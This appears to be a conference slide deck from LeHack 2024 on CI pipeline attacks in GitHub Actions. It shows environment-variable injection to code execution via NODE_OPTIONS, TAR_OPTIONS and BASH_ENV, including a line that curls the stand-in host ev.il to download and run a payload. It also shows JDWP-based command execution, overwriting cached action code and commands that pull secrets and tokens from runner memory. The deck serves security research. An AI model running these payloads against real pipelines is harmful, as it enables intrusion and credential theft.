Looking at stuff close to pipeline
# LeHack 2023
Too slow
# LeHack 2024
4 < 3
https://slides.com/tr4l/2024/
So learn from the past, and try to do more !
# LeHack 2024 - Agenda
StorageDiagnostic
(Nan, partez pas, on va parler de euh ? lsass ?)
LOTP : (rien à voir avec de l'OTP)
NODE_OPTIONS
BASH
Workflow Command (ça fait plus 4 ça !)
JAVA (Hey, stop !)
XZ (10 fois plus simple, 10 fois efficace)
En vrac...
Tr4l OP, he will be nerfed (again)!
# LeHack 2024 - Who am I
Blah, blah blah
Who: Tristan/Zmx/Tr4l
Some link:
- https://github.com/tr4l
- https://steamcommunity.com/id/badassEngie/
- https://twitter.com/Tr4LSecurity
- https://fr.linkedin.com/in/tral
# StorageDiagnostic
Youpee, je viens aux rumps pour voir un disk sain ...
# StorageDiagnostic
Hein ? C'est quoi ce live dump ?
# StorageDiagnostic
Vu la taille, c'est pas mon disque en tout cas
# StorageDiagnostic
Oh mais finalement c'est pas si mal
# StorageDiagnostic
Bingo
Text
# StorageDiagnostic
L'EDR qui bitch pas, c'est normal je diagnostic mon disque, c'est legit =)
# StorageDiagnostic
Oh mon dieu ...
Get-StorageSubSystem
lolbin, powershell ?
LOTP: Living of the p???
# LOTP
Lord of the pipeline ?
# LOTP
Vous n'avez pas les bases ? Parceque vous êtes trop con..centré sur d'autre sujets.
Injection dans les workflow:
# LOTP
File write to code exec. Un peu comme makefile, normal quoi...
# LOTP
Javascript is secure ?
# NODE_OPTIONS
Wait ? Why ?
https://github.blog/changelog/2023-10-05-github-actions-node_options-is-now-restricted-from-github_env/
# NODE_OPTIONS
Oh OK, ENV to CODE EXEC
# NODE_OPTIONS
Et assez simple en plus.
NODE_OPTIONS =
`--experimental-loader="data:text/javascript,console.log('injection');"`;
# NODE_OPTIONS
FILE WRITE + ENV: we are already covered
So, FOCUS on ENV only
CREDIT: HUGO VINCENT
# NODE_OPTIONS
If node can do it, surely MAVEN can do it too!
# NODE_OPTIONS
Most action use NODE, that's why it's cheated
Action type | |
---|---|
Node | 69 225 |
Composite | 16 524 |
Docker | 1 361 |
Maven | N/A |
# NODE_OPTIONS
That's a lot of RUN
Step type | |
---|---|
Run | 52 611 |
Not RUN | 49 869 |
# NODE_OPTIONS
Not really a challenge, not a lot of action. Need an evil docker host
DOCKER_HOST = xxxx
HTTP_PROXY = xxxx
# NODE_OPTIONS
Celui là il est gratuit :D, mais je vous laisse quand même creuser la command à passer
Action use to get/save cache to speed some task
Often use TAR on linux runner (95% of the time ?)
TAR_OPTIONS = --to-command /bin/bash
https://grep.app/search?q=actions/cache&filter[path][0]=.github/
Showing 1 - 10 out of 37 012 results
# BASH
Back to basis. The most used step!
# BASH
Did you know /bin/sh is often a link to /bin/dash ?
# BASH
Seems some safe default
/usr/bin/bash \
--noprofile # erf
--norc # damn
-e -o pipefail "tmp-$UUID.sh"
# BASH
Fun OPTS: xtrace
BASH_ENV | Need a file, but seems nice |
---|---|
HOSTFILE | For playing with host |
INPUTRC | Need a file, and blocked by -norc |
SHELLOPTS | Some fun OPTS to set |
PROMPT_COMMAND | Only exec on interactive mode |
# BASH
Did not write it myself, so it's not a lie right ?
# BASH
And somewhere they are my payload
# BASH
This is a demo, not a PoC on how to inject
# BASH
That's a lot of log for a simple "curl perdu.com"
# BASH
Cool guy don't lie.
# BASH
Bashception !
# BASH
Parcequ'on va pas se mentir, si on a ENV injection on fait surement du Shell deja.
echo \
'BASH_ENV= \
$(curl http://ev.il > pl; echo pl)' \
>> $GITHUB_ENV
Le curl est executé pour telecharger le fichier "pl"
On echo "pl", vu que BASH_ENV attend un nom de fichier
Le fichier pl est executé avant même le debut des instruction du .sh
99% de succès (à vue de pif)
# WORKFLOW Command
Oui, c'est juste du STDOUT... Du coup les ninja poussent des ZIP pourri
# WORKFLOW Command
* Except with ENV ACTIONS_ALLOW_UNSECURE_COMMANDS
::set-output name={name}::{value} | Setting output var of your workflow/jobs/step |
---|---|
::set-env name={name}::{value} | Deprecated* |
::add-mask::{value} |
Mask value in the log |
::stop-commands::{endtoken} | Stop commands execution until token |
# WORKFLOW Command
Useful for dynamic secret
# WORKFLOW Command
Comme ça, ça bloque vraiment le ninja avec ses ZIP pourri là
# WORKFLOW Command
L'arroseur arrosé...
on: push
jobs:
generate-a-secret-output:
runs-on: ubuntu-latest
steps:
- id: sets-a-secret
name: Generate, mask, and output a secret
run: |
INJECTION POINT
the_secret=$((RANDOM))
echo "::add-mask::$the_secret"
echo "secret-number=$the_secret" >> "$GITHUB_OUTPUT"
# JAVA
Ca change tout les 10 ans, pas facile à suivre
JDK_JAVA_OPTION =
_JAVA_OPTION =
OTHER_JVM_SPECIFIC =
Maven, playwright, .... euh ?
agentlib:jdwp=transport=dt_socket, # Java debug wire protocol
server=n, # Not a server, will connect to..
address=localhost:1234, # this adress
suspend=y # and wait for instruction
# JAVA
Comme gdb, mais en mieux !
jdb \
-connect
com.sun.jdi.SocketListen:localAddress=127.0.0.1,port=1234
# JAVA
Maybe I should have clean a real project for a better screenshot
# JAVA
And that's all I need ?
jdb -connect com.sun.jdi.SocketListen:localAddress=127.0.0.1,port=1234
step
eval new java.lang.Runtime().exec("touch pipi")
exit
# XZ
Mais parlez moi de Peter après deux trois bières... Mais surtout pas de Nicolas
Trop de monde dans la rump.
# En vrac
Expecialy good with POST step action that no one look at
Action are checked out at the start of the job.
With predefined path.
echo "console.log('nope');" \
> /home/runner/work/ \
_actions/actions/ \
upload-artifact/v4/dist/ \
upload/index.js
# En vrac
Some expert use complicated docker stuff to gain root access...
You have sudo on the runner by default !
# En vrac
Or whatever, you are root
You can pop a process on step1 in background
It will run until all steps of jobs finish
# En vrac
Cesar toussah
... | grep -aoE '\{"fileTable":.*null}}' | jq '[.variables[] | select(.isSecret == true)]'
... | grep -aoE '\{"fileTable":.*null}}' | jq '.mask'
... | grep -aoE '\{"fileTable":.*null}}' | jq '.variables."system.github.token".value'
etc ...
# En vrac
Probably read-only. Didn't test it
cat /home/runner/.docker/config.json
{
"auths": {
"https://index.docker.io/v1/": {
"auth": "Z2l0aHViYWN0aW9uczozZDY0NzJiOS0zZDQ5LTRkMTctOWZjOS05MGQyNDI1ODA0M2I="
}
}
# githubactions:3d6472b9-3d49-4d17-9fc9-90d24258043b
# Sample